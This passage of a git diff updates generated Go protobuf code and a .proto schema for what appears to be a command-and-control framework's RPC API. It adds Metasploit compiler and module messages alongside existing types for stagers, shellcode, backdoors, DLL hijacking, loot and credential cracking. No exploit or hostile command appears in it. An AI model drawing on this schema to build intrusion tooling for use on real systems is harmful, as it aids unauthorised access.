switch v := v.(*MSFReq); i { + switch v := v.(*GenerateReq); i { case 0: return &v.state case 1: @@ -12085,7 +12260,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MSFRemoteReq); i { + switch v := v.(*Generate); i { case 0: return &v.state case 1: @@ -12097,7 +12272,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*StagerListenerReq); i { + switch v := v.(*MSFReq); i { case 0: return &v.state case 1: @@ -12109,7 +12284,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*StagerListener); i { + switch v := v.(*MSFRemoteReq); i { case 0: return &v.state case 1: @@ -12121,7 +12296,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeRDIReq); i { + switch v := v.(*StagerListenerReq); i { case 0: return &v.state case 1: @@ -12133,7 +12308,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeRDI); i { + switch v := v.(*StagerListener); i { case 0: return &v.state case 1: @@ -12145,7 +12320,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MsfStagerReq); i { + switch v := v.(*ShellcodeRDIReq); i { case 0: return &v.state case 1: @@ -12157,7 +12332,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MsfStager); i { + switch v := v.(*ShellcodeRDI); i { case 0: return &v.state case 1: @@ -12169,7 +12344,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*GetSystemReq); i { + switch v := v.(*MsfStagerReq); i { case 0: return &v.state case 1: @@ -12181,7 +12356,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MigrateReq); i { + switch v := v.(*MsfStager); i { case 0: return &v.state case 1: @@ -12193,7 +12368,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateTunnelReq); i { + switch v := v.(*GetSystemReq); i { case 0: return &v.state case 1: @@ -12205,7 +12380,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateTunnel); i { + switch v := v.(*MigrateReq); i { case 0: return &v.state case 1: @@ -12217,7 +12392,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CloseTunnelReq); i { + switch v := v.(*CreateTunnelReq); i { case 0: return &v.state case 1: @@ -12229,7 +12404,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotGraphEntry); i { + switch v := v.(*CreateTunnel); i { case 0: return &v.state case 1: @@ -12241,7 +12416,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotGraph); i { + switch v := v.(*CloseTunnelReq); i { case 0: return &v.state case 1: @@ -12253,7 +12428,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Client); i { + switch v := v.(*PivotGraphEntry); i { case 0: return &v.state case 1: @@ -12265,7 +12440,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Event); i { + switch v := v.(*PivotGraph); i { case 0: return &v.state case 1: @@ -12277,7 +12452,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Operator); i { + switch v := v.(*Client); i { case 0: return &v.state case 1: @@ -12289,7 +12464,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WebContent); i { + switch v := v.(*Event); i { case 0: return &v.state case 1: @@ -12301,7 +12476,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WebsiteAddContent); i { + switch v := v.(*Operator); i { case 0: return &v.state case 1: @@ -12313,7 +12488,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WebsiteRemoveContent); i { + switch v := v.(*WebContent); i { case 0: return &v.state case 1: @@ -12325,7 +12500,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Website); i { + switch v := v.(*WebsiteAddContent); i { case 0: return &v.state case 1: @@ -12337,7 +12512,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Websites); i { + switch v := v.(*WebsiteRemoveContent); i { case 0: return &v.state case 1: @@ -12349,7 +12524,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGClientConfig); i { + switch v := v.(*Website); i { case 0: return &v.state case 1: @@ -12361,7 +12536,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Loot); i { + switch v := v.(*Websites); i { case 0: return &v.state case 1: @@ -12373,7 +12548,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AllLoot); i { + switch v := v.(*WGClientConfig); i { case 0: return &v.state case 1: @@ -12385,7 +12560,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IOC); i { + switch v := v.(*Loot); i { case 0: return &v.state case 1: @@ -12397,7 +12572,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExtensionData); i { + switch v := v.(*AllLoot); i { case 0: return &v.state case 1: @@ -12409,7 +12584,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Host); i { + switch v := v.(*IOC); i { case 0: return &v.state case 1: @@ -12421,7 +12596,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AllHosts); i { + switch v := v.(*ExtensionData); i { case 0: return &v.state case 1: @@ -12433,7 +12608,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DllHijackReq); i { + switch v := v.(*Host); i { case 0: return &v.state case 1: @@ -12445,7 +12620,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DllHijack); i { + switch v := v.(*AllHosts); i { case 0: return &v.state case 1: @@ -12457,7 +12632,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*BackdoorReq); i { + switch v := v.(*DllHijackReq); i { case 0: return &v.state case 1: @@ -12469,7 +12644,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Backdoor); i { + switch v := v.(*DllHijack); i { case 0: return &v.state case 1: @@ -12481,7 +12656,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeEncodeReq); i { + switch v := v.(*BackdoorReq); i { case 0: return &v.state case 1: @@ -12493,7 +12668,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeEncode); i { + switch v := v.(*Backdoor); i { case 0: return &v.state case 1: @@ -12505,7 +12680,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeEncoderMap); i { + switch v := v.(*ShellcodeEncodeReq); i { case 0: return &v.state case 1: @@ -12517,7 +12692,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExternalGenerateReq); i { + switch v := v.(*ShellcodeEncode); i { case 0: return &v.state case 1: @@ -12529,7 +12704,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Builders); i { + switch v := v.(*ShellcodeEncoderMap); i { case 0: return &v.state case 1: @@ -12541,7 +12716,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Builder); i { + switch v := v.(*ExternalGenerateReq); i { case 0: return &v.state case 1: @@ -12553,7 +12728,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Credential); i { + switch v := v.(*Builders); i { case 0: return &v.state case 1: @@ -12565,7 +12740,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Credentials); i { + switch v := v.(*Builder); i { case 0: return &v.state case 1: @@ -12577,7 +12752,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Crackstations); i { + switch v := v.(*Credential); i { case 0: return &v.state case 1: @@ -12589,7 +12764,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackstationStatus); i { + switch v := v.(*Credentials); i { case 0: return &v.state case 1: @@ -12601,7 +12776,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackSyncStatus); i { + switch v := v.(*Crackstations); i { case 0: return &v.state case 1: @@ -12613,7 +12788,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackBenchmark); i { + switch v := v.(*CrackstationStatus); i { case 0: return &v.state case 1: @@ -12625,7 +12800,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackTask); i { + switch v := v.(*CrackSyncStatus); i { case 0: return &v.state case 1: @@ -12637,7 +12812,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Crackstation); i { + switch v := v.(*CrackBenchmark); i { case 0: return &v.state case 1: @@ -12649,7 +12824,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CUDABackendInfo); i { + switch v := v.(*CrackTask); i { case 0: return &v.state case 1: @@ -12661,7 +12836,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OpenCLBackendInfo); i { + switch v := v.(*Crackstation); i { case 0: return &v.state case 1: @@ -12673,7 +12848,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MetalBackendInfo); i { + switch v := v.(*CUDABackendInfo); i { case 0: return &v.state case 1: @@ -12685,7 +12860,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackCommand); i { + switch v := v.(*OpenCLBackendInfo); i { case 0: return &v.state case 1: @@ -12697,7 +12872,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackConfig); i { + switch v := v.(*MetalBackendInfo); i { case 0: return &v.state case 1: @@ -12709,7 +12884,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackFiles); i { + switch v := v.(*CrackCommand); i { case 0: return &v.state case 1: @@ -12721,7 +12896,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackFile); i { + switch v := v.(*CrackConfig); i { case 0: return &v.state case 1: @@ -12733,6 +12908,30 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CrackFiles); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CrackFile); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFileChunk); i { case 0: return &v.state @@ -12751,7 +12950,7 @@ func file_clientpb_client_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_clientpb_client_proto_rawDesc, NumEnums: 12, - NumMessages: 114, + NumMessages: 116, NumExtensions: 0, NumServices: 0, }, diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto index 18b3021899..e8b9aac374 100644 --- a/protobuf/clientpb/client.proto +++ b/protobuf/clientpb/client.proto @@ -282,6 +282,21 @@ message Compiler { repeated CompilerTarget UnsupportedTargets = 5; } +message MetasploitModule { + string Name = 1; + string FullName = 2; + string Description = 3; + string Quality = 4; +} + +message MetasploitCompiler { + string Version = 1; + repeated string Formats = 2; + repeated string Archs = 3; + repeated MetasploitModule Encoders = 4; + repeated MetasploitModule Payloads = 5; +} + message DeleteReq { string Name = 1; } // DNSCanary - Single canary and metadata diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go index 512be4c7a8..e77304edf2 100644 --- a/protobuf/rpcpb/services.pb.go +++ b/protobuf/rpcpb/services.pb.go @@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x32, 0xe7, 0x4e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, + 0x74, 0x6f, 0x32, 0xaf, 0x4f, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, @@ -302,370 +302,374 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, - 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, - 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, - 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, - 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, - 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, - 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, - 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, - 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, - 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, - 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x46, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, + 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, + 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, + 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, + 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, + 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, + 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, + 0x0d, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x1a, 